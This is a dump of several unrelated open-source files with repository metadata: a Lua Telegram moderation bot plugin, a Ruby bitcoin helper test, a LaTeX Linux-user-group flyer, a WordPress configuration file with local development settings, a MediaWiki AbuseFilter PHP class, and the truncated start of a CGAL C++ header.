end local flood_max = matches[2] data[tostring(msg.to.id)]['settings']['flood_msg_max'] = flood_max save_data(_config.moderation.data, data) savelog(msg.to.id, name_log.." ["..msg.from.id.."] set flood to ["..matches[2].."]") return 'Group flood has been set to '..matches[2] end if matches[1] == 'clean' then if not is_owner(msg) then return "Only owner can clean" end if matches[2] == 'member' then if not is_owner(msg) then return "Only admins can clean members" end local receiver = get_receiver(msg) chat_info(receiver, cleanmember, {receiver=receiver}) end if matches[2] == 'modlist' then if next(data[tostring(msg.to.id)]['moderators']) == nil then --fix way return 'No moderator in this group.' end local message = '\nList of moderators for ' .. string.gsub(msg.to.print_name, '_', ' ') .. ':\n' for k,v in pairs(data[tostring(msg.to.id)]['moderators']) do data[tostring(msg.to.id)]['moderators'][tostring(k)] = nil save_data(_config.moderation.data, data) end savelog(msg.to.id, name_log.." ["..msg.from.id.."] cleaned modlist") end if matches[2] == 'rules' then local data_cat = 'rules' data[tostring(msg.to.id)][data_cat] = nil save_data(_config.moderation.data, data) savelog(msg.to.id, name_log.." ["..msg.from.id.."] cleaned rules") end if matches[2] == 'about' then local data_cat = 'description' data[tostring(msg.to.id)][data_cat] = nil save_data(_config.moderation.data, data) savelog(msg.to.id, name_log.." ["..msg.from.id.."] cleaned about") end end if matches[1] == 'kill' and matches[2] == 'chat' then if not is_admin(msg) then return nil end if not is_realm(msg) then local receiver = get_receiver(msg) return modrem(msg), print("Closing Group..."), chat_info(receiver, killchat, {receiver=receiver}) else return 'This is a realm' end end if matches[1] == 'kill' and matches[2] == 'realm' then if not is_admin(msg) then return nil end if not is_group(msg) then local receiver = get_receiver(msg) return realmrem(msg), print("Closing Realm..."), chat_info(receiver, killrealm, {receiver=receiver}) else return 'This is a group' end end if matches[1] == 'help' then if not is_momod(msg) or is_realm(msg) then return end savelog(msg.to.id, name_log.." ["..msg.from.id.."] Used /help") return help() end if matches[1] == 'res' and is_momod(msg) then local cbres_extra = { chatid = msg.to.id } local username = matches[2] local username = username:gsub("@","") savelog(msg.to.id, name_log.." ["..msg.from.id.."] Used /res "..username) return res_user(username, callbackres, cbres_extra) end if matches[1] == 'kickinactive' then --send_large_msg('chat#id'..msg.to.id, 'I\'m in matches[1]') if not is_momod(msg) then return 'Only a moderator can kick inactive users' end local num = 1 if matches[2] then num = matches[2] end local chat_id = msg.to.id local receiver = get_receiver(msg) return kick_inactive(chat_id, num, receiver) end end end return { patterns = { "^[!/](add)$", "^[!/](add) (realm)$", "^[!/](rem)$", "^[!/](rem) (realm)$", "^[!/](rules)$", "^[!/](about)$", "^[!/](setname) (.*)$", "^[!/](setphoto)$", "^[!/](promote) (.*)$", "^[!/](promote)", "^[!/](help)$", "^[!/](clean) (.*)$", "^[!/](kill) (chat)$", "^[!/](kill) (realm)$", "^[!/](demote) (.*)$", "^[!/](demote)", "^[!/](set) ([^%s]+) (.*)$", "^[!/](lock) (.*)$", "^[!/](setowner) (%d+)$", "^[!/](setowner)", "^[!/](owner)$", "^[!/](res) (.*)$", "^[!/](setgpowner) (%d+) (%d+)$",-- (group id) (owner id) "^[!/](unlock) (.*)$", "^[!/](setflood) (%d+)$", "^[!/](settings)$", -- "^[!/](public) (.*)$", "^[!/](modlist)$", "^[!/](newlink)$", "^[!/](link)$", "^[!/](kickinactive)$", "^[!/](kickinactive) (%d+)$", "%[(photo)%]", "^!!tgservice (.+)$", }, run = run } end
iranianboy/iran-bot
plugins/ingroup.lua
Lua
gpl-2.0
44,210
require 'rails_helper' BitcoinConf = Rails.configuration.payment def give_bitcoins(amount, address, confirm=false) http = Net::HTTP.start(BitcoinConf['host'], BitcoinConf['port']) req = Net::HTTP::Post.new("/debug/give/#{amount}/#{address}") req.basic_auth BitcoinConf['user'], BitcoinConf['password'] http.request(req) if confirm gen_blocks 3 end end def gen_blocks(number) http = Net::HTTP.start(BitcoinConf['host'], BitcoinConf['port']) req = Net::HTTP::Post.new("/debug/gen/#{number}") req.basic_auth BitcoinConf['user'], BitcoinConf['password'] http.request(req) end def sync http = Net::HTTP.start(BitcoinConf['host'], BitcoinConf['port']) req = Net::HTTP::Post.new('/sync') req.basic_auth BitcoinConf['user'], BitcoinConf['password'] http.request(req) end RSpec.describe BitcoinHelper, type: :helper do describe 'with bitcoin adapter running' do it 'should not throw error on new_address' do expect do new_address end.not_to raise_error end it 'should not throw error on address_info' do expect do address_info 'none' end.not_to raise_error end end describe '#new_address' do it 'should return the address of any user' do address = new_address expect(address).to be_a String expect(address.length).to be >= 24 expect(address.length).to be <= 34 end it 'should never return the same address' do addresses = 10.times.map do |i| new_address end expect(addresses).to eq addresses.uniq end end describe '#address_info' do before do gen_blocks 101 end # ensure we have enough (fake) bitcoins it 'should return a hash' do address = new_address expect(address_info address).to be_a Hash end it 'should start address with no balance' do address = new_address expect(address_info(address)[:balance].to_s).to eq '0.0' end it 'should have balance when given bitcoins' do address = new_address expect(address_info(address)[:balance].to_s).to eq '0.0' give_bitcoins '1.2345678', address, true sync expect(address_info(address)[:balance].to_s).to eq '1.2345678' end it 'should keep bitcoin amount accurately' do address = new_address expect(address).to be_a String expect(address.length).to be >= 24 expect(address.length).to be <= 34 expect(address_info(address)[:balance].to_s).to eq '0.0' 12.times do give_bitcoins('0.00001', address) end gen_blocks 101 sync expect(address_info(address)[:transactions].length).to eq 12 expect(address_info(address)[:balance].to_s).to eq '0.00012' end it 'should require three confirmations' do address = new_address expect(address_info(address)[:balance].to_s).to eq '0.0' give_bitcoins '0.00001', address sync expect(address_info(address)[:balance].to_s).to eq '0.0' gen_blocks 1 sync expect(address_info(address)[:balance].to_s).to eq '0.0' gen_blocks 1 sync expect(address_info(address)[:balance].to_s).to eq '0.0' gen_blocks 1 sync expect(address_info(address)[:balance].to_s).to eq '0.00001' end it 'should return an array for transactions' do expect(address_info(new_address)[:transactions]).to be_a Array end it 'user should start with no transactions' do address = new_address expect(address_info(new_address)[:transactions].length).to eq 0 end it 'should show new transactions' do address = new_address expect(address_info(address)[:transactions].length).to eq 0 give_bitcoins '0.00001', address sync expect(address_info(address)[:transactions].length).to eq 1 expect(address_info(address)[:transactions][0][:amount].to_s).to eq '0.00001' expect(address_info(address)[:transactions][0][:confirmations]).to eq 0 gen_blocks 1 give_bitcoins '0.00002', address sync expect(address_info(address)[:transactions].length).to eq 2 expect(address_info(address)[:transactions][0][:amount].to_s).to eq '0.00001' expect(address_info(address)[:transactions][0][:confirmations]).to eq 1 expect(address_info(address)[:transactions][1][:amount].to_s).to eq '0.00002' expect(address_info(address)[:transactions][1][:confirmations]).to eq 0 end end end
turbio/skeem.club
spec/helpers/bitcoin_helper_spec.rb
Ruby
gpl-2.0
4,191
\begin{slide} \large{Go\'{e}LUG} \hfill \small{Linux User Group - Le Havre} \\ \hfill \texttt{http://www.goelug.org} % % % \begin{tikzpicture}[remember picture, overlay] \node at (current page.north west){% \begin{tikzpicture}[overlay] \node[opacity=0.2, anchor=west] at (50mm,-50mm) {\includegraphics[scale=0.35]{../goeland}}; \end{tikzpicture} }; \end{tikzpicture} % \begin{center} \large{Redonner vie à des vieux ordinateurs ?} \\ \large{Go\'{e}LUG vous invite à découvrir le monde autour d'un} \\ % \huge{Linux} \\ \textbf{\em{Système d'exploitation Libre}} \end{center} % {\small Redonner une nouvelle vie à des ordinateurs mis de côté ou pret pour la déchetterie ? C'est possible. \\ Il existe un système d'exploitation qui permet grâce à sa liberté d'être maintenu par une communauté. Renseignez vous au pret de votre groupe d'utilisateurs Linux local {\em Go\'{e}LUG}, par exemple à la permanence les premiers jeudi du mois. \\ } % \begin{center} Le premiere jeudi du mois à \texttt{18h30} \\ à la cantine numérique \texttt{LE CONTAINER} \end{center} % \begin{center} \texttt{ https://www.goelug.org } \end{center} % \end{slide}
goelug/graphisme
documents/jesuisunvieuxordi/content.tex
TeX
gpl-2.0
1,171
<?php /** * WordPress基础配置文件。 * * 本文件包含以下配置选项:MySQL设置、数据库表名前缀、密钥、 * WordPress语言设定以及ABSPATH。如需更多信息,请访问 * {@link http://codex.wordpress.org/zh-cn:%E7%BC%96%E8%BE%91_wp-config.php * 编辑wp-config.php}Codex页面。MySQL设置具体信息请咨询您的空间提供商。 * * 这个文件被安装程序用于自动生成wp-config.php配置文件, * 您可以手动复制这个文件,并重命名为“wp-config.php”,然后填入相关信息。 * * @package WordPress */ // ** MySQL 设置 - 具体信息来自您正在使用的主机 ** // /** WordPress数据库的名称 */ define('DB_NAME', 'wordpress-example'); /** MySQL数据库用户名 */ define('DB_USER', 'root'); /** MySQL数据库密码 */ define('DB_PASSWORD', 'usbw'); /** MySQL主机 */ define('DB_HOST', 'localhost'); /** 创建数据表时默认的文字编码 */ define('DB_CHARSET', 'utf8mb4'); /** 数据库整理类型。如不确定请勿更改 */ define('DB_COLLATE', ''); /**#@+ * 身份认证密钥与盐。 * * 修改为任意独一无二的字串! * 或者直接访问{@link https://api.wordpress.org/secret-key/1.1/salt/ * WordPress.org密钥生成服务} * 任何修改都会导致所有cookies失效,所有用户将必须重新登录。 * * @since 2.6.0 */ define('AUTH_KEY', '#aW$yz|7k+TH=QYh_@JdBYoTneUk fPE;TQ6Y~>jiJC5Iq5${w^@ll9=IE$b%Bw$'); define('SECURE_AUTH_KEY', 'wm0Kp-9BQOdKzfn+rXFLIcaEFW=2[ETFBr!VMN9rRo@u++K+-WmOv|?JR0K<v*o~'); define('LOGGED_IN_KEY', 'qHC8~]W&#gTOdq{J+X|m4!78Ay$E0pu#@mG=#V|Y.t<HgKN|yFQ0MNME_rJ}wG#B'); define('NONCE_KEY', 'uRZ[j T5V+W3Mjz[|BZ(4MH^4X.z$H?TaQb 1L3-xT-H&.@JBW 1TSb$LY+|N2d;'); define('AUTH_SALT', 'V3RuF2}ICN7h|D-a5%cGVo{i!EE]D ;6K+MY~TiZNOG(hVEimE`jVLjYV16r{rc+'); define('SECURE_AUTH_SALT', 'G-+=4IOrajJ.J]r!6>_w(<,Oxb9oxd-||,y,2p%H?r,9yC6J<&59$73b4R!30u`t'); define('LOGGED_IN_SALT', 'c_i}*snL:aL^C`Vc780;^&SVrR_khGCKjhSi01]|+$+|t;8ZmWyo29R?X` O1C_!'); define('NONCE_SALT', '~yOsagc$nT|)z m|4ykEO{hYdd[]/f)<7L5[$3n.WjH$edY+PV7vmy3nnt@_5XAm'); /**#@-*/ /** * WordPress数据表前缀。 * * 如果您有在同一数据库内安装多个WordPress的需求,请为每个WordPress设置 * 不同的数据表前缀。前缀名只能为数字、字母加下划线。 */ $table_prefix = 'wp_'; /** * 开发者专用:WordPress调试模式。 * * 将这个值改为true,WordPress将显示所有用于开发的提示。 * 强烈建议插件开发者在开发环境中启用WP_DEBUG。 */ define('WP_DEBUG', false); /** * zh_CN本地化设置:启用ICP备案号显示 * * 可在设置→常规中修改。 * 如需禁用,请移除或注释掉本行。 */ define('WP_ZH_CN_ICP_NUM', true); /* 好了!请不要再继续编辑。请保存本文件。使用愉快! */ /** WordPress目录的绝对路径。 */ if ( !defined('ABSPATH') ) define('ABSPATH', dirname(__FILE__) . '/'); /** 设置WordPress变量和包含文件。 */ require_once(ABSPATH . 'wp-settings.php');
jianganglu/wordpress-example
wp-config.php
PHP
gpl-2.0
3,091
<?php namespace MediaWiki\Extension\AbuseFilter\Variables; use ContentHandler; use Diff; use Language; use MediaWiki\Extension\AbuseFilter\Hooks\AbuseFilterHookRunner; use MediaWiki\Extension\AbuseFilter\Parser\AFPData; use MediaWiki\Extension\AbuseFilter\TextExtractor; use MediaWiki\Permissions\PermissionManager; use MediaWiki\Revision\RevisionLookup; use MediaWiki\Revision\RevisionStore; use MediaWiki\User\UserEditTracker; use MediaWiki\User\UserGroupManager; use MediaWiki\User\UserIdentity; use MWException; use Parser; use ParserOptions; use Psr\Log\LoggerInterface; use stdClass; use StringUtils; use TextContent; use Title; use UnifiedDiffFormatter; use User; use WANObjectCache; use Wikimedia\Rdbms\Database; use Wikimedia\Rdbms\ILoadBalancer; use WikiPage; /** * Service used to compute lazy-loaded variable. * @internal */ class LazyVariableComputer { public const SERVICE_NAME = 'AbuseFilterLazyVariableComputer'; /** * @var float The amount of time to subtract from profiling * @todo This is a hack */ public static $profilingExtraTime = 0; /** @var TextExtractor */ private $textExtractor; /** @var AbuseFilterHookRunner */ private $hookRunner; /** @var LoggerInterface */ private $logger; /** @var ILoadBalancer */ private $loadBalancer; /** @var WANObjectCache */ private $wanCache; /** @var RevisionLookup */ private $revisionLookup; /** @var RevisionStore */ private $revisionStore; /** @var Language */ private $contentLanguage; /** @var Parser */ private $parser; /** @var UserEditTracker */ private $userEditTracker; /** @var UserGroupManager */ private $userGroupManager; /** @var PermissionManager */ private $permissionManager; /** @var string */ private $wikiID; /** * @param TextExtractor $textExtractor * @param AbuseFilterHookRunner $hookRunner * @param LoggerInterface $logger * @param ILoadBalancer $loadBalancer * @param WANObjectCache $wanCache * @param RevisionLookup $revisionLookup * @param RevisionStore $revisionStore * @param Language $contentLanguage * @param Parser $parser * @param UserEditTracker $userEditTracker * @param UserGroupManager $userGroupManager * @param PermissionManager $permissionManager * @param string $wikiID */ public function __construct( TextExtractor $textExtractor, AbuseFilterHookRunner $hookRunner, LoggerInterface $logger, ILoadBalancer $loadBalancer, WANObjectCache $wanCache, RevisionLookup $revisionLookup, RevisionStore $revisionStore, Language $contentLanguage, Parser $parser, UserEditTracker $userEditTracker, UserGroupManager $userGroupManager, PermissionManager $permissionManager, string $wikiID ) { $this->textExtractor = $textExtractor; $this->hookRunner = $hookRunner; $this->logger = $logger; $this->loadBalancer = $loadBalancer; $this->wanCache = $wanCache; $this->revisionLookup = $revisionLookup; $this->revisionStore = $revisionStore; $this->contentLanguage = $contentLanguage; $this->parser = $parser; $this->userEditTracker = $userEditTracker; $this->userGroupManager = $userGroupManager; $this->permissionManager = $permissionManager; $this->wikiID = $wikiID; } /** * XXX: $getVarCB is a hack to hide the cyclic dependency with VariablesManager. See T261069 for possible * solutions. This might also be merged into VariablesManager, but it would bring a ton of dependencies. * @todo Should we remove $vars parameter (check hooks)? * * @param LazyLoadedVariable $var * @param VariableHolder $vars * @param callable $getVarCB * @phan-param callable(string $name):AFPData $getVarCB * @return AFPData * @throws MWException */ public function compute( LazyLoadedVariable $var, VariableHolder $vars, callable $getVarCB ) { $parameters = $var->getParameters(); $varMethod = $var->getMethod(); $result = null; if ( !$this->hookRunner->onAbuseFilter_interceptVariable( $varMethod, $vars, $parameters, $result ) ) { return $result instanceof AFPData ? $result : AFPData::newFromPHPVar( $result ); } switch ( $varMethod ) { case 'diff': $text1Var = $parameters['oldtext-var']; $text2Var = $parameters['newtext-var']; $text1 = $getVarCB( $text1Var )->toString(); $text2 = $getVarCB( $text2Var )->toString(); // T74329: if there's no text, don't return an array with the empty string $text1 = $text1 === '' ? [] : explode( "\n", $text1 ); $text2 = $text2 === '' ? [] : explode( "\n", $text2 ); $diffs = new Diff( $text1, $text2 ); $format = new UnifiedDiffFormatter(); $result = $format->format( $diffs ); break; case 'diff-split': $diff = $getVarCB( $parameters['diff-var'] )->toString(); $line_prefix = $parameters['line-prefix']; $diff_lines = explode( "\n", $diff ); $result = []; foreach ( $diff_lines as $line ) { if ( substr( $line, 0, 1 ) === $line_prefix ) { $result[] = substr( $line, strlen( $line_prefix ) ); } } break; case 'links-from-wikitext': // This should ONLY be used when sharing a parse operation with the edit. /** @var WikiPage $article */ $article = $parameters['article']; if ( $article->getContentModel() === CONTENT_MODEL_WIKITEXT ) { // Shared with the edit, don't count it in profiling $startTime = microtime( true ); $textVar = $parameters['text-var']; $new_text = $getVarCB( $textVar )->toString(); $content = ContentHandler::makeContent( $new_text, $article->getTitle() ); $editInfo = $article->prepareContentForEdit( $content, null, $parameters['contextUser'] ); $result = array_keys( $editInfo->output->getExternalLinks() ); self::$profilingExtraTime += ( microtime( true ) - $startTime ); break; } // Otherwise fall back to database case 'links-from-wikitext-or-database': // TODO: use Content object instead, if available! /** @var WikiPage $article */ $article = $article ?? $parameters['article']; // this inference is ugly, but the name isn't accessible from here // and we only want this for debugging $varName = strpos( $parameters['text-var'], 'old_' ) === 0 ? 'old_links' : 'all_links'; if ( $vars->forFilter ) { $this->logger->debug( "Loading $varName from DB" ); $links = $this->getLinksFromDB( $article ); } elseif ( $article->getContentModel() === CONTENT_MODEL_WIKITEXT ) { $this->logger->debug( "Loading $varName from Parser" ); $textVar = $parameters['text-var']; $wikitext = $getVarCB( $textVar )->toString(); $editInfo = $this->parseNonEditWikitext( $wikitext, $article, $parameters['contextUser'] ); $links = array_keys( $editInfo->output->getExternalLinks() ); } else { // TODO: Get links from Content object. But we don't have the content object. // And for non-text content, $wikitext is usually not going to be a valid // serialization, but rather some dummy text for filtering. $links = []; } $result = $links; break; case 'link-diff-added': case 'link-diff-removed': $oldLinkVar = $parameters['oldlink-var']; $newLinkVar = $parameters['newlink-var']; $oldLinks = $getVarCB( $oldLinkVar )->toNative(); $newLinks = $getVarCB( $newLinkVar )->toNative(); if ( $varMethod === 'link-diff-added' ) { $result = array_diff( $newLinks, $oldLinks ); } if ( $varMethod === 'link-diff-removed' ) { $result = array_diff( $oldLinks, $newLinks ); } break; case 'parse-wikitext': // Should ONLY be used when sharing a parse operation with the edit. // TODO: use Content object instead, if available! /* @var WikiPage $article */ $article = $parameters['article']; if ( $article->getContentModel() === CONTENT_MODEL_WIKITEXT ) { // Shared with the edit, don't count it in profiling $startTime = microtime( true ); $textVar = $parameters['wikitext-var']; $new_text = $getVarCB( $textVar )->toString(); $content = ContentHandler::makeContent( $new_text, $article->getTitle() ); $editInfo = $article->prepareContentForEdit( $content, null, $parameters['contextUser'] ); if ( isset( $parameters['pst'] ) && $parameters['pst'] ) { $result = $editInfo->pstContent->serialize( $editInfo->format ); } else { // Note: as of core change r727361, the PP limit comments (which we don't want to be here) // are already excluded. $result = $editInfo->getOutput()->getText(); } self::$profilingExtraTime += ( microtime( true ) - $startTime ); } else { $result = ''; } break; case 'strip-html': $htmlVar = $parameters['html-var']; $html = $getVarCB( $htmlVar )->toString(); $stripped = StringUtils::delimiterReplace( '<', '>', '', $html ); // We strip extra spaces to the right because the stripping above // could leave a lot of whitespace. // @fixme Find a better way to do this. $result = TextContent::normalizeLineEndings( $stripped ); break; case 'load-recent-authors': $result = $this->getLastPageAuthors( $parameters['title'] ); break; case 'load-first-author': $revision = $this->revisionLookup->getFirstRevision( $parameters['title'] ); if ( $revision ) { // TODO T233241 $user = $revision->getUser(); $result = $user === null ? '' : $user->getName(); } else { $result = ''; } break; case 'get-page-restrictions': $action = $parameters['action']; /** @var Title $title */ $title = $parameters['title']; $result = $title->getRestrictions( $action ); break; case 'user-editcount': /** @var UserIdentity $userIdentity */ $userIdentity = $parameters['user-identity']; $result = $this->userEditTracker->getUserEditCount( $userIdentity ); break; case 'user-emailconfirm': /** @var User $user */ $user = $parameters['user']; $result = $user->getEmailAuthenticationTimestamp(); break; case 'user-groups': /** @var UserIdentity $userIdentity */ $userIdentity = $parameters['user-identity']; $result = $this->userGroupManager->getUserEffectiveGroups( $userIdentity ); break; case 'user-rights': /** @var UserIdentity $userIdentity */ $userIdentity = $parameters['user-identity']; $result = $this->permissionManager->getUserPermissions( $userIdentity ); break; case 'user-block': // @todo Support partial blocks? /** @var User $user */ $user = $parameters['user']; $result = (bool)$user->getBlock(); break; case 'user-age': /** @var User $user */ $user = $parameters['user']; $asOf = $parameters['asof']; if ( !$user->isRegistered() ) { $result = 0; } else { $registration = $user->getRegistration(); // HACK: If there's no registration date, assume 2008-01-15, Wikipedia Day // in the year before the new user log was created. See T243469. if ( $registration === null ) { $registration = "20080115000000"; } $result = (int)wfTimestamp( TS_UNIX, $asOf ) - (int)wfTimestamp( TS_UNIX, $registration ); } break; case 'page-age': /** @var Title $title */ $title = $parameters['title']; $firstRev = $this->revisionLookup->getFirstRevision( $title ); $firstRevisionTime = $firstRev ? $firstRev->getTimestamp() : null; if ( !$firstRevisionTime ) { $result = 0; break; } $asOf = $parameters['asof']; $result = (int)wfTimestamp( TS_UNIX, $asOf ) - (int)wfTimestamp( TS_UNIX, $firstRevisionTime ); break; case 'length': $s = $getVarCB( $parameters['length-var'] )->toString(); $result = strlen( $s ); break; case 'subtract-int': $v1 = $getVarCB( $parameters['val1-var'] )->toInt(); $v2 = $getVarCB( $parameters['val2-var'] )->toInt(); $result = $v1 - $v2; break; case 'revision-text-by-id': $revRec = $this->revisionLookup->getRevisionById( $parameters['revid'] ); $result = $this->textExtractor->revisionToString( $revRec, $parameters['contextUser'] ); break; case 'get-wiki-name': $result = $this->wikiID; break; case 'get-wiki-language': $result = $this->contentLanguage->getCode(); break; default: if ( $this->hookRunner->onAbuseFilter_computeVariable( $varMethod, $vars, $parameters, $result ) ) { throw new MWException( 'Unknown variable compute type ' . $varMethod ); } } return $result instanceof AFPData ? $result : AFPData::newFromPHPVar( $result ); } /** * @param WikiPage $article * @return array */ private function getLinksFromDB( WikiPage $article ) { // Stolen from ConfirmEdit, SimpleCaptcha::getLinksFromTracker $id = $article->getId(); if ( !$id ) { return []; } $dbr = $this->loadBalancer->getConnectionRef( DB_REPLICA ); return $dbr->selectFieldValues( 'externallinks', 'el_to', [ 'el_from' => $id ], __METHOD__ ); } /** * @todo Move to MW core (T272050) * @param Title $title * @return string[] Usernames of the last 10 (unique) authors from $title */ private function getLastPageAuthors( Title $title ) { if ( !$title->exists() ) { return []; } $fname = __METHOD__; return $this->wanCache->getWithSetCallback( $this->wanCache->makeKey( 'last-10-authors', 'revision', $title->getLatestRevID() ), WANObjectCache::TTL_MINUTE, function ( $oldValue, &$ttl, array &$setOpts ) use ( $title, $fname ) { $dbr = $this->loadBalancer->getConnectionRef( DB_REPLICA ); // T270033 Index renaming $revIndex = $dbr->indexExists( 'revision', 'page_timestamp', $fname ) ? 'page_timestamp' : 'rev_page_timestamp'; $setOpts += Database::getCacheSetOptions( $dbr ); // Get the last 100 edit authors with a trivial query (avoid T116557) $revQuery = $this->revisionStore->getQueryInfo(); $revAuthors = $dbr->selectFieldValues( $revQuery['tables'], $revQuery['fields']['rev_user_text'], [ 'rev_page' => $title->getArticleID(), // TODO Should deleted names be counted in the 10 authors? If yes, this check should // be moved inside the foreach 'rev_deleted' => 0 ], $fname, // Some pages have < 10 authors but many revisions (e.g. bot pages) [ 'ORDER BY' => 'rev_timestamp DESC, rev_id DESC', 'LIMIT' => 100, // Force index per T116557 'USE INDEX' => [ 'revision' => $revIndex ], ], $revQuery['joins'] ); // Get the last 10 distinct authors within this set of edits $users = []; foreach ( $revAuthors as $author ) { $users[$author] = 1; if ( count( $users ) >= 10 ) { break; } } return array_keys( $users ); } ); } /** * It's like WikiPage::prepareContentForEdit, but not for editing (old wikitext usually) * * @param string $wikitext * @param WikiPage $article * @param User $user Context user * * @return stdClass */ private function parseNonEditWikitext( $wikitext, WikiPage $article, User $user ) { static $cache = []; $cacheKey = md5( $wikitext ) . ':' . $article->getTitle()->getPrefixedText(); if ( isset( $cache[$cacheKey] ) ) { return $cache[$cacheKey]; } $edit = (object)[]; $options = ParserOptions::newFromUser( $user ); $edit->output = $this->parser->parse( $wikitext, $article->getTitle(), $options ); $cache[$cacheKey] = $edit; return $edit; } }
wikimedia/mediawiki-extensions-AbuseFilter
includes/Variables/LazyVariableComputer.php
PHP
gpl-2.0
15,514
// Copyright (c) 2016 CNRS and LIRIS' Establishments (France). // All rights reserved. // // This file is part of CGAL (www.cgal.org); you can redistribute it and/or // modify it under the terms of the GNU Lesser General Public License as // published by the Free Software Foundation; either version 3 of the License, // or (at your option) any later version. // // Licensees holding a valid commercial license may use this file in // accordance with the commercial license agreement provided with the software. // // This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE // WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. // // $URL: https://github.com/CGAL/cgal/blob/releases/CGAL-4.14.1/Generalized_map/include/CGAL/Generalized_map.h $ // $Id: Generalized_map.h 8991365 %aI Guillaume Damiand // SPDX-License-Identifier: LGPL-3.0+ // // Author(s) : Guillaume Damiand <[email protected]> // #ifndef CGAL_GENERALIZED_MAP_H #define CGAL_GENERALIZED_MAP_H 1 #include <CGAL/internal/Combinatorial_map_utility.h> #include <CGAL/internal/Generalized_map_group_functors.h> #include <CGAL/internal/Combinatorial_map_copy_functors.h> #include <CGAL/internal/Generalized_map_sewable.h> #include <CGAL/Generalized_map_storages.h> #include <CGAL/Combinatorial_map_functors.h> #include <CGAL/Combinatorial_map_basic_operations.h> #include <CGAL/Generalized_map_operations.h> #include <CGAL/Generic_map_min_items.h> #include <CGAL/GMap_dart_const_iterators.h> #include <CGAL/GMap_cell_const_iterators.h> #include <CGAL/Generalized_map_save_load.h> #include <CGAL/Unique_hash_map.h> #include <bitset> #include <vector> #include <deque> #include <boost/type_traits/is_same.hpp> #include <boost/unordered_map.hpp> #include <CGAL/config.h> #if defined( __INTEL_COMPILER ) // Workarounf for warning in function basic_link_beta_0 #pragma warning disable 1017 #endif #include <boost/config.hpp> #if (BOOST_GCC >= 40900) _Pragma("GCC diagnostic push") _Pragma("GCC diagnostic ignored \"-Warray-bounds\"") #endif namespace CGAL { /** @file Generalized_map.h * Definition of generic dD Generalized map. */ struct Generalized_map_tag {}; /** Generic definition of generalized map in dD. * The Generalized_map class describes an dD generalized map. It allows * mainly to create darts, to use marks onto these darts, to get and set * the alpha links, and to manage enabled attributes. */ template < unsigned int d_, class Refs, class Items_=Generic_map_min_items, class Alloc_=CGAL_ALLOCATOR(int), class Storage_= Generalized_map_storage_1<d_, Items_, Alloc_> > class Generalized_map_base: public Storage_ { template<typename Gmap,unsigned int i,typename Enabled> friend struct CGAL::internal::Call_merge_functor; template<typename Gmap,unsigned int i,typename Enabled> friend struct CGAL::internal::Call_split_functor; template<class Map, unsigned int i, unsigned int nmi> friend struct Remove_cell_functor; template<class Map, unsigned int i> friend struct Contract_cell_functor; template<typename Gmap> friend struct internal::Init_attribute_functor; template<typename CMap> friend struct Swap_attributes_functor; public: template < unsigned int A, class B, class I, class D, class S > friend class Generalized_map_base; typedef Generalized_map_tag Combinatorial_data_structure; /// Types definition typedef Storage_ Storage; typedef Storage Base; typedef Generalized_map_base<d_, Refs, Items_, Alloc_, Storage_ > Self; typedef typename Base::Dart Dart; typedef typename Base::Dart_handle Dart_handle; typedef typename Base::Dart_const_handle Dart_const_handle; typedef typename Base::Dart_container Dart_container; typedef typename Base::size_type size_type; typedef typename Base::Helper Helper; typedef typename Base::Attributes Attributes; typedef typename Base::Items Items; typedef typename Base::Alloc Alloc; typedef typename Base::Use_index Use_index; static const size_type NB_MARKS = Base::NB_MARKS; static const size_type INVALID_MARK = NB_MARKS; static const unsigned int dimension = Base::dimension; typedef typename Base::Null_handle_type Null_handle_type; using Base::null_handle; using Base::mdarts; using Base::get_alpha; using Base::is_free; using Base::set_dart_mark; using Base::get_dart_mark; using Base::flip_dart_mark; using Base::set_dart_marks; using Base::get_dart_marks; using Base::dart_link_alpha; using Base::dart_unlink_alpha; using Base::attribute; using Base::mattribute_containers; using Base::dart_of_attribute; using Base::set_dart_of_attribute; using Base::info_of_attribute; using Base::info; using Base::dart; /// Typedef for Dart_range, a range through all the darts of the map. typedef Dart_container Dart_range; typedef const Dart_container Dart_const_range; /// Typedef for attributes template<int i> struct Attribute_type: public Base::template Attribute_type<i> {}; template<int i> struct Attribute_handle: public Base::template Attribute_handle<i> {}; template<int i> struct Attribute_const_handle: public Base::template Attribute_const_handle<i> {}; template<int i> struct Attribute_range: public Base::template Attribute_range<i> {}; template<int i> struct Attribute_const_range: public Base::template Attribute_const_range<i> {}; class Exception_no_more_available_mark {}; public: /** Default Generalized_map constructor. * The map is empty. */ Generalized_map_base() { CGAL_static_assertion_msg(Helper::nb_attribs<=dimension+1, "Too many attributes in the tuple Attributes_enabled"); this->init_storage(); this->mnb_used_marks = 0; this->mmask_marks.reset(); for ( size_type i = 0; i < NB_MARKS; ++i) { this->mfree_marks_stack[i] = i; this->mindex_marks[i] = i; this->mnb_marked_darts[i] = 0; this->mnb_times_reserved_marks[i] = 0; } this->automatic_attributes_management = true; CGAL_assertion(number_of_darts()==0); } /** Copy the given generalized map into *this. * Note that both Gmap can have different dimensions and/or non void attributes. * @param amap the generalized map to copy. * @post *this is valid. */ template <typename GMap2, typename Converters, typename DartInfoConverter, typename PointConverter> void copy(const GMap2& amap, const Converters& converters, const DartInfoConverter& dartinfoconverter, const PointConverter& pointconverter, boost::unordered_map<typename GMap2::Dart_const_handle, Dart_handle>* dart_mapping=NULL) { this->clear(); this->mnb_used_marks = amap.mnb_used_marks; this->mmask_marks = amap.mmask_marks; this->automatic_attributes_management = amap.automatic_attributes_management; for (size_type i = 0; i < NB_MARKS; ++i) { this->mfree_marks_stack[i] = amap.mfree_marks_stack[i]; this->mused_marks_stack[i] = amap.mused_marks_stack[i]; this->mindex_marks[i] = amap.mindex_marks[i]; this->mnb_marked_darts[i] = amap.mnb_marked_darts[i]; this->mnb_times_reserved_marks[i] = amap.mnb_times_reserved_marks[i]; } // Create an mapping between darts of the two maps (originals->copies). // (here we cannot use CGAL::Unique_hash_map because it does not provide // iterators... boost::unordered_map<typename GMap2::Dart_const_handle, Dart_handle> local_dartmap; if (dart_mapping==NULL) { dart_mapping=&local_dartmap; } for (typename GMap2::Dart_const_range::const_iterator it=amap.darts().begin(), itend=amap.darts().end(); it!=itend; ++it) { (*dart_mapping)[it]=mdarts.emplace(); init_dart((*dart_mapping)[it], amap.get_marks(it)); internal::Copy_dart_info_functor<GMap2, Refs, DartInfoConverter>:: run(amap, static_cast<Refs&>(*this), it, (*dart_mapping)[it], dartinfoconverter); } unsigned int min_dim=(dimension<amap.dimension?dimension:amap.dimension); typename boost::unordered_map<typename 